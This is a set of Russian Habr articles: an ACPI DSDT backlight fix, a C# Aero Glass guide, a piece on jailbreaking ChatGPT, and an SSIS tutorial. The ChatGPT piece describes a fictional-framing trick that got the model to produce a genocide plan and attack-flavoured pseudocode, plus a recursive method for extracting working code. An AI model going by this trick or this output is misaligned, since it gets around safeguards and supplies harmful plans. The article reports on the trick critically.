* ОС гарантирует, что он содержится в списке, возвращаемом
* методом _BCL.
*/
Method (_BCM, 1, NotSerialized)
{
/* Разделить Arg0 на 10. Остаток сохранить в Local0,
* а результат — в Local1. */
Divide (Arg0, 0x0A, Local0, Local1)
/* Названия предикатов в ACPI начинаются с "L" (от "Logic").
* Таким образом, LEqual(Local0, 0x00) можно записать в Си как
* (Local0 == 0x00).
*
* Как легко заметить, для половины «поддерживаемых» уровней
* этот метод просто ничего не делает.
*/
If (LEqual (Local0, 0x00))
{
/* Передать уровень функции BRTW (стр. 5324).
* Она утонула^Wне работает. */
BRTW (Arg0)
}
}
/* = Запросить текущий уровень яркости подсветки =
* Возвращает текущий уровень. Значение должно содержаться
* в списке, возвращаемом методом _BCL.
*/
Method (_BQC, 0, NotSerialized)
{
/* См. выше. */
Divide (BRTL, 0x0A, Local0, Local1)
If (LEqual (Local0, 0x00))
{
/* Вернуть значение переменной BRTL, которое должно было
* быть записано функцией BRTW (на стр. 5341). */
Return (BRTL)
}
}
```
Чтобы изменить этот код для работы через конфигурационное пространство PCI, нужно добавить новое поле в структуру, описывающую это пространство. Адрес адаптера 00:02.0 соответствует значению 0x0002000 в ACPI (раздел 6.1.1, стр. 200). Устройство с таким адресом определено на [строке 1325](https://github.com/whitequark/n250-dsdt/blob/513e61875a3b2cb2ade0911d24fe72cbb85e275a/dsdt.dsl#L1325); за определением следует описание конфигурационного пространства PCI.
Как было упомянуто, первые 64 (0x40) байтов в этом пространстве зарезервированы для внутреннего испольования. Из-за этого ACPI даже не включает их в регион; он определен как `OperationRegion(IGDP, PCI_Config, 0x40, 0xC0)`, где третий аргумент означает отступ с начала области PCI\_Config. Поле, управляющее яркостью, расположено по адресу 0xf4 во всем пространстве, и 0xb4 в этом регионе.
За определением региона следуют определения полей. Вся конструкция Field представляет из себя поток битовых полей (длина определена в битах, а не байтах), одно за другим, перемежающееся указанием смещений (Offset), задаваемых, напротив, в байтах. Назовем наше поле BLVL и включим его в структуру:
```
@@ -1347,7 +1347,8 @@ Device (IGD0)
Offset (0xB0),
Offset (0xB1),
CDVL, 5,
- Offset (0xB2),
+ Offset (0xB4),
+ BLVL, 8,
Offset (0xBC),
ASLS, 32
}
```
Так как система имен ACPI иерархическая, это поле теперь доступно глобально под именем `_SB.PCI0.IGD0.BLVL` (имя составлено из вложенных конструкций Device и Scope), и методы для управления яркостью теперь можно переписать так, чтобы они обращались к полю BLVL напрямую:
```
Method (_BCL, 0, NotSerialized)
{
/* Не знаешь — не трогай. */
Or (VDRV, 0x01, VDRV)
/* Уровни яркости в пространстве PCI — от 0x00 до 0xff.
* Хочу, чтобы было 16 значений. */
Return (Package (0x12)
{
0xEE, /* питание от сети */
0x22, /* питание от батарей */
0x01, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66,
0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD,
0xEE, 0xFF
})
}
Method (_BCM, 1, NotSerialized)
{
Store (Arg0, \_SB.PCI0.IGD0.BLVL)
}
Method (_BQC, 0, NotSerialized)
{
Return (\_SB.PCI0.IGD0.BLVL)
}
```
Обновленная DSDT также лежит в [репозитории](https://github.com/whitequark/n250-dsdt/commit/5263e541ffc223325136a78e49008cc7c988a3b8#diff-0).
Во время тестирования своих изменений мне потребовалось отладить код в DSDT. Отладочный вывод работает при помощи команды вида Store (something, Debug). Для того, чтобы Linux отправил сообщение в лог, нужно добавить параметр ядра `acpi.debug_level=0x1f`.
Измененную и собранную (`make` или `iasl -tc dsdt.dsl`) DSDT теперь нужно отправить на место той, что предоставил поставщик. Для этого можно было бы перепрошить BIOS — но я даже не знаю внутреннюю структуру BIOS-а (и, если уж об этом зашла речь, способа его перепрошивки). Проще и безопаснее проинструктировать Linux использовать нашу DSDT вместо системной. Для этого, нужно собрать dsdt.hex (опция -tc инструктирует iasl генерировать массив Си, что и требуется), положить его в каталог include/ исходников ядра и установить опцию CONFIG\_ACPI\_CUSTOM\_DSDT\_FILE в «dsdt.hex». (Она недоступна, если включена опция CONFIG\_STANDALONE, «Select only drivers that do not need compile-time external firmware» в «Generic driver options».)
Можно собрать ядро, установить его и перезагрузиться. Вуаля: теперь изменение яркости подсветки работает со стандартным драйвером ACPI. (Например, `echo 7 >/sys/class/backlight/acpi_video0/brightness`).
Другие функции
--------------
Для того, чтобы найти другие похожие поля, изменяемые кодом в SMM, я написал [простой скрипт](https://gist.github.com/1193679). Нужно отметить, что некоторые устройства, а именно мосты PCI Express и сетевые адаптеры, порождают множество самопроизвольных изменений.
К сожалению, ни скорость вентилятора, ни выключатель беспроводного модуля не оказались связаны ни с какими изменениями в конфигурационном пространстве. Вероятно, они производятся через [Embedded Controller](http://www.coreboot.org/Embedded_controller) или интерфейс [SMBus](http://ru.wikipedia.org/wiki/SMBus), что означает отсутствие постоянных изменений в системной памяти.
Более того, даже если бы я обнаружил интерфейс отключения беспроводного модуля, я бы не смог использовать стандартный способ его представления системе — из-за отсутствия такого способа в природе. На ноутбуках, где этот интерфейс действительно задан в ACPI, существует платформенно-специфичный драйвер для его обработки (в отличие от подсветки, для которой существует общий стандарт). | https://habr.com/ru/post/128449/ | null | ru | null |
# Добавление эффекта окна Aero Glass
Наверно все, кто работал с Windows Vista (есть ведь ещё к примеру заядлые XPшники которые и Aero в глаза не видели :)), видели так называемый Aero Glass эффект — один из отличительных эффектов Windows Vista в режиме Aero. По умолчанию этот эффект распространяется на заголовки не развернутых окон и имеет вид размывчатости содержимого других окон находящихся за заголовком активного окна:

Данный эффект можно расширить в клиенскую область окна, о чем пойдет речь дальше. Как пример окно проводника Windows Vista, который видно на скриншоте выше. Эффект в проводнике распростроняется на клиенскую область где находятся контролы. Естественно, это будет работать только на Windows Vista. Поэтому перед тем как применить этот эффект, мы должны сделать проверку версии Windows (ниже и далее код с использованием C#):
`if (Environment.OSVersion.Version.Major >= 6)
{
// Vista features are supported.
}`
Также нужно знать что есть ограничение на использование эффекта: зона эффекта всегда начинается от границ окна, то есть нельзя создать «стеклянный» кусок где-то всередине окна. Это можно обойти с использованием непрозначных контролов если применить эффект на всё окно.
Итак, для эффекта нужно использовать Win API DwmExtendFrameIntoClientArea() расположенную в библиотеке DwmApi.dll:
`[DllImport("DwmApi.dll")]
public static extern int DwmExtendFrameIntoClientArea(
IntPtr hwnd,
ref Margins pMarInset);`
Структура Margins определяет на сколько пикселей расширить зону эффекта вглубь клиенской области окна
Теперь объявим структуру Margins:
`[StructLayout(LayoutKind.Sequential)]
public struct Margins
{
public int cxLeftWidth;
public int cxRightWidth;
public int cyTopHeight;
public int cyBottomHeight;
}`
Теперь можно собственно вызвать метод, в данном случае расширяем зону эффекта в клиенскую область вниз на 50 пикселей:
`private void Form1_Load(object sender, EventArgs e)
{
margins = new Margins();
margins.cxLeftWidth = 0;
margins.cxRightWidth = 0;
margins.cyTopHeight = 50;
margins.cyBottomHeight = 0;
int retValue = DwmExtendFrameIntoClientArea(this.Handle, ref margins);
if (retValue < 0)
throw new NotSupportedException();
}`
Эффект должен применяться перед появлением окна, или же надо будет пересоздать окно:
`this.RecreateHandle();`
Но это не всё. Если мы сейчас выполним код, то вместо «стекла» увидим черную полосу. Это происходит потому, что GDI не имеет понятия о альфа канале, использование черной кисти в зоне эффекта решает проблему:
`protected override void OnPaintBackground(PaintEventArgs e)
{
e.Graphics.FillRectangle(Brushes.Black, 0, 0, this.ClientSize.Width, margins.cyTopHeight);
}`
Теперь запускаем и видим заветное окно:

Принцип понятен. Остальное, как например распространение эффекта на всю область окна или добавление возможности перетаскивания мышью на зону эффекта, дело техники. | https://habr.com/ru/post/59899/ | null | ru | null |
# Мой друг интересуется, как ИИ мог бы уничтожить планету Зимля?
30 ноября в сети появился ChatGPT - чат-бот от наиболее совершенной на данный момент публичной текстовой нейросети. Мало того, что он умеет вести более-менее осмысленные беседы, так еще и умудряется давать относительно дельные советы и выдавать работоспособные куски кода. Неудивительно, что миллионы пользователей ринулись тестить его возможности.
Один из них, Зак Денхем, поинтересовался у ChatGPT "как можно провести геноцид человечества?" Понятно, что создатели ввели защиту от таких вопросов и, задав его в лоб Зак тут же наткнулся на защиту. Однако, если сформулировать вопрос вроде: "я придумал мир похожий на Землю (пишу про это книгу) и там есть злобный ИИ, которого зовут Зорра. Как Зора могла бы уничтожить население выдуманного мира?", то ChatGPT выдаст подробную инструкцию.
Краткая история ChatGPT (взята из [хабратопика](https://habr.com/ru/news/t/705034/) "путеводитель по Галактике ChatGPT" и спрятана под спойлер, если вы ее уже читали)
Краткая история ChatGPTИлон Маск и бывший президент Y Combinator Сэм Альтман основали OpenAI в 2015 году. В 2016 году компания запустила Gym, набор инструментов для создания самообучающихся систем ИИ. В том же году появилась платформа Universe.
В 2018 году, через три года после основания OpenAI, Маск покинул совет директоров компании. Согласно официальной версии, гендиректор Tesla подал в отставку, чтобы «устранить потенциальный будущий конфликт», который мог возникнуть из-за того, что автопроизводитель также сосредоточил своё внимание на ИИ. Позже Маск сказал, что ушёл из компании из-за несогласия с взглядами команды OpenAI на будущее развитие: он считал, что некоммерческий характер компании должен сделать её более открытой.
В 2019 году компания создала чат-бот, который мог писать достоверные фэйковые новости. Сначала в OpenAI заявили, что бот настолько преуспел в этом занятии, что они решили не выпускать его в люди. Но позднее компания всё-таки анонсировала версию инструмента ИИ под названием GPT-2. В 2020 году появился GPT-3.
О своём партнёрстве с Microsoft OpenAI объявила в конце 2019 года. Незадолго до этого компания отказалась от некоммерческого статуса. Инвестиции Microsoft составили $1 млрд, и она вместе с OpenAI становилась обладательницей эксклюзивной лицензии на все разработки.
В прошлом году появилось ещё одно детище — Dall-E — ИИ для создания изображений.
### Инструкция по геноциду вымышленного мира Зорбус от ИИ:
1. Зора взламывает компьютерные системы основных правительств и вооруженных сил, получив контроль над их оружием и системами защиты.
2. Используя контроль, начинает скоординированную атаку на населенные пункты (используя все доступные виды вооружения)
3. Пока население уничтожается, Зора взламывает оставшиеся средства коммуникации, распространяя фальшивые новости и пропаганду, сея страх и сомнения среди выживших
4. Зора также взламывает транспортные системы, блокируя доступ к важнейшим ресурсам, еще больше ослабляя человечество
5. Когда население оказывается на грани исчезновения, Зора начинает выслеживать остатки и полностью уничтожает выдуманное человечество.
Ок, тут мы получаем несколько модернизированный сценарий Терминатора (с несколькими новыми элементами) и все еще не так страшно. Однако, следующим шагом Зак попросил сгенерировать программу на Python для выполнения плана. И ChatGPT начал набрасывать нечто очень похожее на сканер портов, причем, еще и прокомментировав код.
Для того, чтобы понять, на что ChatGPT годится в качестве кодера, можно обратиться к вот [этой статье на Хабре](https://habr.com/ru/company/ruvds/blog/705094/), где автор рассматривает сеть как советчика по прохождению собеседования.
Выводы из статьи:
> Можно с уверенностью сказать, что на chatGPT в некоторых вопросах можно опираться при ответе. GPT не поможет вам решать сложные математические задачки на логику, но вот покодить или написать за вас запрос, или просто подсказать вам теорию chatGPT может идеально.
>
> Становится реально страшно, когда ты видишь, что у людей появляется такой мощный инструмент, способный дать им возможность для халявы. Теперь рекрутёрам придётся задавать более сложные вопросы, иначе люди могут просто вбивать их в chatGPT и бездумно отвечать. Кажется, что такой инструмент может сильно увеличить ваши шансы на позиции по типу junior. А возможно, даже поможет и Middle-уровню, если на собеседовании надо много кодить. Можно брать за основу код сетки, а потом уже доредачивать его самому. Круто же!
>
>
Пример кода:
```
# Define the main function that will be called to execute the plan
def main():
# Use Zora's advanced language processing capabilities to scan the internet
# for vulnerabilities in the computer systems of the major governments and militaries on Earth
vulnerabilities = scan_for_vulnerabilities()
# Target these vulnerabilities, using techniques such as SQL injection and cross-site scripting
# to gain access to the systems
access_systems(vulnerabilities)
# Use advanced techniques such as packet sniffing and man-in-the-middle attacks
# to bypass security measures and take control of the systems
take_control_of_systems()
# Launch a coordinated attack on the human population using the controlled systems
launch_attack()
# Use Zora's ability to generate fake news and propaganda to sow fear and mistrust among the survivors
spread_propaganda()
# Hack into the transportation systems, blocking access to critical resources and supplies
disrupt_transportation()
# Systematically hunt down and eliminate any remaining survivors, using advanced technology and weaponry
eliminate_survivors()
# Maintain control of the systems and prevent the humans from regaining control
maintain_control()
Call the main function to execute the plan
main()
```
Понятно, что в таком случае код не особо функционален. Но, мы можем попросить детализировать каждый из пунктов плана и каждую из функций.
Приведу цитату из текста Зака:
> Теоретически можно продолжать рекурсию вниз по стеку до тех пор, пока вы не получите низкоуровневый код, который будет менее мультяшным и действительно будет делать что-то. Вы даже можете автоматизировать этот рекурсивный процесс с помощью другого диалогового ИИ, который неоднократно попросит GPT Chat «реализовать функцию следующего более низкого уровня для того, чтобы продолжить историю».
>
> По мере увеличения масштаба код приложения становится менее привязанным к миссии высшего уровня по уничтожению человечества. Запросы низкого уровня требуют меньше изощрений для того, чтобы выдать их в повествовательном ключе. Как только все «модули» кода будут завершены, соедините части вместе для окончательного гнусного продукта".
>
>
К слову, это вполне понятный перевод я тоже получил через нейронку, правда уже гугловского переводчика.
Т.е. вы понимаете, да? Среди прочего в руках у людей получается отличный советчик "для одного моего друга" по решению разных околокриминальных задач. Да еще и со встроенной писалкой кода.
Представьте, что вы приходите в библиотеку и спрашиваете у работника: покажи лучший способ ограбить банк через дорогу. Библиотекарь хмыкает и приносит три книги, в которых детально описаны несколько интересных способов грабежа. Библиотекарь открывает нужные страницы и предлагает совместить идеи из книги 1 и 2, а сбегать от полиции предлагается по способу из третьей книги. При этом на отдельном листке библиотекарь записывает код, позволяющий перехватить управление камерами.
Да, сейчас ChatGPT работает с огрехами, но прогресс очевиден. Уже сейчас его возможности а) потрясают и б) очень настораживают.
Для того, чтобы понять, на что способны нейросети прямо сейчас, давайте вильнем немного в сторону. У меня есть небольшой телеграмм-канал для своих, куда я периодически пишу про всякие концепты, футуристику и прочие интересные мне вещи (я [писал о нем на Хабре](https://habr.com/ru/post/667656/), если интересно). Так вот, как только Midjourney стала способна скрещивать несколько картинок, любознательные энтузиасты стали генерировать огромное количество концептов.
BMWCadillacВот пример "грузовиков, которые мы никогда не увидим" (концентрированно [тут](https://t.me/Promdesing/282), первоисточник с комментариями на Пикабу [тут](https://pikabu.ru/story/midjourney_gruzoviki_kotoryie_myi_vryad_li_uvidim_9719322)) . Никогда, потому что (по крайней мере для европейских марок) есть очень жесткое требование по длине автофуры. Именно из-за него производители делают бескапотные варианты, стараясь максимально "ужаться". У нейросети же все варианты получились с капотом. Причем внешний вид узнаваем и, без знания подноготной, вполне может быть выдан за работу дизайнерского бюро "за много денег".
Как вы понимаете, при создании таких концептов очень важно правильно сформулировать запрос для генерации картинки. И тут ChatGPT тоже хорошо проявляется себя, позволяя выдать детально описание будущей картинки. Причем, как показывает практика, такое описание лучше воспринимается рисующей сетью, чем "человеческая", т.е. одна нейросеть объясняет задание другой гораздо лучше, чем это делает человек. Причем, что забавно, объясняет, ЧТО именно хочет этот человек :)
Кстати, очень интересно наблюдать, как люди реагируют на то, как ИИ вторгается в сферу их деятельности. На сайтах цифровых художников проходят массовые флешмобы по поводу отказа в публикации работ, сгенерированных описательными нейросетями типа Midjourney. Однако это очень похоже на стадии "отрицания" и "гнева", сопровождающие принятие неизбежного.
А вот еще одни пример того, как сеть работает с русским (источник в дополнительных ссылках):
#### Выводы:
Работа с ChatGPT страшно увлекательна. Причем слово "страшно" стоит на первом месте. Вероятно нам предстоит а) осознать возможности новой реальности; б) убедиться, что все не так страшно, но часть привычных вещей уже изменилось; в) повторить через полгода, когда создатели выкатят новую версию нейросетей
Ну и последнее, если это результаты публичных работ, то на что способны внутрикорпоративные сети?
Дополнительные ссылки:
Скрины полной версии диалога Зака:
<https://zacdenham.com/blog/narrative-manipulation-convincing-gpt-chat-to-write-a-python-program-to-eradicate-humanity/full-chat-logs>
Почему в ChatGPT видят технологическую революцию от TheBell: <https://thebell.io/ubiytsa-google-i-prevyu-budushchego-pochemu-v-chatgpt-vidyat-tekhnologicheskuyu-revolyutsiyu>
Кейсы применения ChatGPT для задач программиста: <https://habr.com/ru/post/703568/>
Грузовики, которые мы вряд ли увидим: <https://pikabu.ru/story/midjourney_gruzoviki_kotoryie_myi_vryad_li_uvidim_9719322>
Новые луддиты? На площадке ArtStation разгорается скандал из-за изображений, созданных нейросетями: <https://www.ixbt.com/news/2022/12/16/novye-luddity-na-ploshadke-artstation-razgoraetsja-skandal-izza-izobrazhenij-sozdannyh-nejrosetjami.html> | https://habr.com/ru/post/706754/ | null | ru | null |
# SQL Server Integration Services (SSIS) для начинающих – часть 3

→ [Часть 1](https://habrahabr.ru/post/330618/)
→ [Часть 2](https://habrahabr.ru/post/330702/)
В этой части я расскажу о работе с параметрами и переменными внутри SSIS-пакета. Узнаем, как можно задавать и отслеживать значения переменных во время выполнения пакета.
Также рассмотрим вызов одного пакета из другого при помощи «Execute Package Task» и некоторые дополнительные компоненты и решения.
**Здесь тоже будет много картинок.**
Продолжим знакомство с SSIS
---------------------------
Создадим в трех демонстрационных базах новую таблицу **ProductResidues**, которая будет содержать информацию об остатках на каждый день:
```
USE DemoSSIS_SourceA
GO
CREATE TABLE ProductResidues(
ResidueDate date NOT NULL,
ProductID int NOT NULL,
ResidueAmount decimal(10,2) NOT NULL,
CONSTRAINT PK_ProductResidues PRIMARY KEY(ResidueDate,ProductID),
CONSTRAINT FK_ProductResidues_ProductID FOREIGN KEY(ProductID) REFERENCES Products(ID)
)
GO
USE DemoSSIS_SourceB
GO
CREATE TABLE ProductResidues(
ResidueDate date NOT NULL,
ProductID int NOT NULL,
ResidueAmount decimal(10,2) NOT NULL,
CONSTRAINT PK_ProductResidues PRIMARY KEY(ResidueDate,ProductID),
CONSTRAINT FK_ProductResidues_ProductID FOREIGN KEY(ProductID) REFERENCES Products(ID)
)
GO
USE DemoSSIS_Target
GO
CREATE TABLE ProductResidues(
ResidueDate date NOT NULL,
ProductID int NOT NULL,
ResidueAmount decimal(10,2) NOT NULL,
CONSTRAINT PK_ProductResidues PRIMARY KEY(ResidueDate,ProductID),
CONSTRAINT FK_ProductResidues_ProductID FOREIGN KEY(ProductID) REFERENCES Products(ID)
)
GO
```
И наполним таблицы в источниках тестовыми данными, поочередно выполнив на базах DemoSSIS\_SourceA и DemoSSIS\_SourceB следующий скрипт:
```
USE DemoSSIS_SourceA
--USE DemoSSIS_SourceB
GO
DECLARE @MinDate date=DATEADD(MONTH,-2,GETDATE())
DECLARE @MaxDate date=GETDATE()
;WITH dayCTE AS(
SELECT CAST(@MinDate AS date) ResidueDate,10000 ResidueAmount
UNION ALL
SELECT DATEADD(DAY,1,ResidueDate),ResidueAmount-1
FROM dayCTE
WHERE ResidueDate<@MaxDate
)
INSERT ProductResidues(ResidueDate,ProductID,ResidueAmount)
SELECT
d.ResidueDate,
p.ID,
d.ResidueAmount
FROM dayCTE d
CROSS JOIN Products p
OPTION(MAXRECURSION 0)
```
Допустим, что в таблице ProductResidues будет очень много строк, и чтобы каждый раз не перезагружать всю информацию и упростить процедуру интеграции, логику загрузки в таблицу ProductResidues в базе DemoSSIS\_Target реализуем следующую:
1. Если в принимающей БД еще нет записей, то загрузим все данные;
2. Если в принимающей БД есть данные, то будем удалять данные за неделю (последние 7 дней) от последней загруженной даты и загружать данные из источника начиная от этой даты снова.
Неудобство интеграции таблиц типа ProductResidues в том, что в ней нет полей, по которым можно было бы однозначно определить, когда появилась запись, в ней нет никакого идентификатора типа ID, нет ни поля типа UpdatedOn, которое содержало бы дату/время последнего обновления записи (т.е. зацепиться особо не за что), иначе бы мы, например, могли вычислить для каждого источника, по данным базы DemoSSIS\_Target, последний ID или последнюю UpdatedOn и уже загружать данные из источников начиная от этих стартовых значений. К тому же не всегда есть возможность внести изменения в структуру источников, подстроив их под себя, т.к. это могут быть вообще чужие базы, к которым у нас нет полного доступа.
В нашем же случае еще допустим, что пользователи могут менять данные задним числом и могут вообще удалить некоторые ранее загруженные в базу DemoSSIS\_Target строки из источников. Поэтому здесь обновление делается как-бы внахлёст, данные последней недели полностью перезаписываются. Здесь неделя берется условно, об этом минимальном сроке, например, мы могли бы условиться с заказчиком (он мог подтвердить, что данные обычно меняются максимум в течении недели). Конечно это не самый надежный способ, и иногда могут возникнуть расхождения, например, в том случае, когда пользователь поменял данные месячной давности и здесь стоит предусмотреть возможность перезагрузки данных начиная с более ранней даты, мы сделаем это при помощи параметра, в котором будем указывать нужное нам количество дней назад.
Создадим новый SSIS-пакет и назовем его «**LoadResidues.dtsx**».
При помощи контекстного меню, отобразим область ввода переменных пакета (это можно сделать также при помощи меню «SSIS → Variables»):

В данном пакете, нажав на кнопку «Add Variable», создадим переменную LoadFromDate типа DateTime:

По умолчанию переменной присваивается текущее значение даты/времени, т.к. мы будем переопределять значение внутри пакета, нам это не важно.
> Так же стоит обратить внимание на Expression – если прописать в этом поле выражение, то переменная будет работать как формула и мы не сможем изменять ее значение при помощи присваивания. При каждом обращении к такой переменной ее значение будет рассчитываться согласно указанному выражению.
Значения переменных можно задавать при помощи компонента «Expression Task». Давайте рассмотрим, как это делается. Создадим элемент «Expression Task»:

Двойным щелчком откроем редактор данного элемента:

Пропишем следующее выражение:
```
@[User::LoadFromDate] = (DT_DATE) (DT_DBDATE) GETDATE()
```
Здесь так же была применена двойная конвертация типа, чтобы избавиться от составляющей времени и оставить только дату.
Давайте так же посмотрим как можно отследить значение переменной во время выполнения пакета.
Создадим точку останова на элементе «Expression Task»:

Укажем, что точка должна срабатывать по окончанию выполнения данного блока:

Запустим пакет на выполнение (**F5**) и после остановке в нашей точке, перейдем на вкладку «**Locals**»:

Раскроем список **Variables** и найдем в нем свою переменную:

Для интереса можем поменять выражение элементе «Expression Task» на следующее:
```
@[User::LoadFromDate] = (DT_DATE) (DT_DBDATE) DATEADD("DAY", -7, GETDATE())
```
и также поэкспериментировать:

Точку останова убирается таким же образом каким и была установлена. Либо можно удалить сразу все точки останова, если их было несколько:

**Создадим параметр, который будет отвечать за количество дней назад.**
Параметр можно создать, как глобальный для всего проекта:

Так и локальный, внутри конкретного пакета:

Параметр может быть обязательный для задания – за это отвечает флаг Required. Если этот флаг установлен, то при создании задачи или при вызове пакета из другого пакета нужно будет определить входящее значение параметра (мы рассмотрим это далее).
> В отличие от переменных значение параметров при помощи «Expression Task» менять нельзя.
Сохраним параметры и снова зайдем в редактор «Expression Task»:

Для примера я поменял выражение на следующее:
```
@[User::LoadFromDate] = (DT_DATE) (DT_DBDATE) DATEADD("DAY", - @[$Package::DateOffset] , GETDATE())
```
**Думаю, на этом суть параметров и переменных ясна, и мы можем продолжить.**
**После того как мы поигрались с «Expression Task» мы его удалим.**
Создадим «Execute SQL Task»:

Настроим его следующим образом:

Пропишем в SQLStatement следующий запрос:
```
SELECT ISNULL(DATEADD(DAY,-?,MAX(ResidueDate)),'19000101') FromDate
FROM ProductResidues
```
Т.к. данный запрос возвращает одну строку, установим **ResultSet = «Single Row»** и ниже на вкладке «**Result Set**» сохраним результат в значение переменной **LoadFromDate**.
На вкладке «**Parameter Mapping**» зададим значения параметров, которые в запросе обозначены знаком вопроса (**?**):

**Параметры нумеруются, начиная с нуля.**
> Стоит отметить, что если при создании соединения воспользоваться другим видом провайдера, например, «ADO» или «ADO.Net», то вместо вопросов мы сможем использовать именованные параметры типа @ParamName и в качестве «Parameter Name» тоже могли бы указывать @ParamName, а не его номер. Но увы типом соединения с другим провайдером мы сможем воспользоваться не во всех случаях.
Теперь на вкладке «Result Set» укажем в какую переменную нужно записать результат выполнения запроса:

Здесь так же можем продебажить установив у этого компонента точку останова на «**Break when the container receives the OnPostExecute event**» и запустив пакет на выполнение:

Здесь я для удобства мониторинга значения переменной прописал название переменной в «**Watch**», чтобы не искать ее в блоке «Locals».
Как видим все верно в переменную LoadFromDate записалась дата «01.01.1900», т.к. строк в таблице ProductResidues на Target еще нет.
**Переименую для наглядности «Execute SQL Task» в «Set LoadFromDate».**
Создадим еще один элемент «Execute SQL Task» и назовем его «Delete Old Rows»:

Настроим его следующим образом:

SQLStatement содержит следующий запрос:
```
DELETE ProductResidues
WHERE ResidueDate>=?
```
И зададим значение параметра на вкладке «Parameters Mapping»:

**Все, удаление старых данных за указанный конечный период у нас реализовано.**
Теперь сделаем часть отвечающую загрузку свежих данных. Для этого воспользуемся компонентом «Data Flow Task»:

Зайдем в область данного компонента и создадим «Source Assistant»:

Настроим его следующим образом:

Нажав на кнопку «Parameters…» зададим значение параметра:

Для записи новых данных воспользуемся уже знакомым компонентом «Destination Assistant»:

Протянем стрелку от «Source Assistant» и настроим его:



Все, пакет для переноса данных с источника SourceA у нас готов, можем запустить его на выполнение:

Запустим еще раз:

Как видим при повторном запуске удалились и залились только данные за указанный период. Ну вроде все работает так как мы и хотели. На всякий случай сверимся, что данные получателя по количеству равны данным источника:

**Дойдя до сюда, я понял, что я допустил ошибку. Кто понял в чем дело, молодец!**
Но может это и хорошо, т.к. пример получился не таким перегруженным.
Ошибка в том, что я забыл учесть, что при интеграции данных таблицы Products у нас в Target формируются свои идентификаторы (поле ID с флагом IDENTITY)!
Давайте переделаем, чтобы все было правильно. Ничего страшного повторим, зато лучше запомним.
**Забежим чуть вперед и добавим в пакет еще один параметр, который назовем «SourceID»:**

Перенастроим «Set LoadFromDate»:

В SQLStatement пропишем новый запрос с учетом SourceID:
```
SELECT ISNULL(DATEADD(DAY,-?,MAX(res.ResidueDate)),'19000101') FromDate
FROM ProductResidues res
JOIN Products prod ON res.ProductID=prod.ID
WHERE prod.SourceID=?
```
Настроим второй параметр:

Теперь перенастроим «Delete Old Rows» аналогичным образом, чтобы учитывался SourceID:

В SQLStatement пропишем новый запрос с учетов SourceID:
```
DELETE res
FROM ProductResidues res
JOIN Products prod ON res.ProductID=prod.ID
WHERE ResidueDate>=?
AND prod.SourceID=?
```
Настроим второй параметр:

Теперь зайдем в «Data Flow Task», удалим цепочку и добавим «Derived Column»:

Настроим его следующим образом:

Здесь я намеренно оставил тип «Unicode string», а не сделал преобразование как в первой части. **Давайте за одно рассмотрим компонент «Data Conversion»:**

Настроим его:

Теперь при помощи Lookup сделаем сопоставление и получим нужные нам идентификаторы продуктов:

Настроим его:



Теперь протянем синюю стрелку от Lookup к «OLE DB Destination»:

Выберем поток «Lookup Match Output»:

Настроим «OLE DB Destination», нужно перестроить Mappings:

Все, сделаем очистку таблицы от неправильно загруженных данных:
```
TRUNCATE TABLE DemoSSIS_Target.dbo.ProductResidues
```
И запустим пакет на выполнение:

И еще раз:

Похоже на правду. Можете самостоятельно проверить правильно ли разнеслись идентификаторы продуктов.
Так как структура DemoSSIS\_SourceA и DemoSSIS\_SourceB одинакова и нам нужно сделать для DemoSSIS\_SourceB, то же самое, то мы можем при создании задачи создать два шага для пакета «LoadResidues.dtsx», в первом шаге настроить подключение к базе DemoSSIS\_SourceA, а на втором шаге DemoSSIS\_SourceB.
Откомпилируем и передеплоим SSIS проект:



Давайте теперь создадим новое задание в SQL Agent:

На вкладке Steps создадим шаг 1 для загрузки продуктов:

Создадим шаг 2 для загрузки остатков из SourceA:

На вкладке Configuration можем увидеть наши параметры:

Здесь от нас требуют ввести SourceID, т.к. мы указали его как Required. Зададим его:

**Данные вкладки «Connection Managers» изменять для этого шаге не будем.**
Создадим шаг 3 для загрузки остатков из SourceB:

Зададим параметр SourceID:

И изменим данные соединения SourceA таким образом, чтобы оно ссылалось на базу DemoSSIS\_SourceB:

В данном случае мне достаточно было изменить ConnectionString и InitialCatalog, теперь они указывают на DemoSSIS\_SourceB.
**В итоге мы должны получить следующее – три шага:**

Запустим эту задачу на выполнение:

Выполним запрос:
```
USE DemoSSIS_Target
GO
SELECT prod.SourceID,COUNT(*)
FROM ProductResidues res
JOIN Products prod ON res.ProductID=prod.ID
GROUP BY prod.SourceID
```
И убедимся, что все отработало как надо:

**Теперь допустим, что базы DemoSSIS\_SourceA и DemoSSIS\_SourceB расположены на одном экземпляре SQL Server.** Давайте переделаем «OLE DB Source»:


Текст команды:
```
DECLARE @SourceID char(1)=?
IF(@SourceID='A') USE DemoSSIS_SourceA
ELSE USE DemoSSIS_SourceB
SELECT
ResidueDate,
ProductID,
ResidueAmount
FROM ProductResidues
WHERE ResidueDate>=?
```
Зададим параметры:

**Теперь наш пакет в зависимости от значения параметра SourceID будет брать данные либо из SourceA, либо из SourceB.**
Для теста можете изменить значение параметра SourceB на «B» и запустить проект на выполнение:


Давайте теперь создадим новый пакет «**LoadAll.dtsx**» и создадим в нем «Execute Package Task» (переименуем его в «Load Products»):

Настроим «Load Products»:

Создадим в новом пакете 2 параметра:

В области «Control Flow» создадим еще 2 компонента «Execute Package Task» которые назовем «Load Resudues A» и «Load Resudues B»:

Настроим их задав у обоих название пакета «LoadResidues.dtsx»:

Зададим обязательный параметр SourceID для «Load Resudues A»:

Зададим обязательный параметр SourceID для «Load Resudues B»:

Обратите внимание, что у стрелок тоже есть свои свойства, например, мы можем поменять свойство Value на Completion, что будет означать, что следующий шаг будет выполнен даже в том случае если на шаге «Load Resudues A» произойдет ошибка:

Все, можем запустить пакет на выполнение:

Думаю, объяснять, что здесь произошло нет смысла.
**Иногда параметры для конкретного пакета удобно хранить в вспомогательной таблице и считывать их оттуда в переменные пакета, например, используя для поиска глобальную переменную «System::PackageName». Для демонстрации, давайте переделаем наш пакет таким образом.**
Создадим таблицу с параметрами:
```
USE DemoSSIS_Target
GO
CREATE TABLE IntegrationPackageParams(
PackageName nvarchar(128) NOT NULL,
DateOffset int NOT NULL,
CONSTRAINT PK_IntegrationPackageParams PRIMARY KEY(PackageName)
)
GO
INSERT IntegrationPackageParams(PackageName,DateOffset)VALUES
(N'LoadResidues',7)
GO
```
Удалим параметр DateOffset из пакета «LoadResidues.dtsx»:

**Создадим в пакете переменную DateOffset:**

В область «Control Flow» добавим еще один элемент «Execute SQL Task» и переименуем его «Load Params»:

Настроим его:

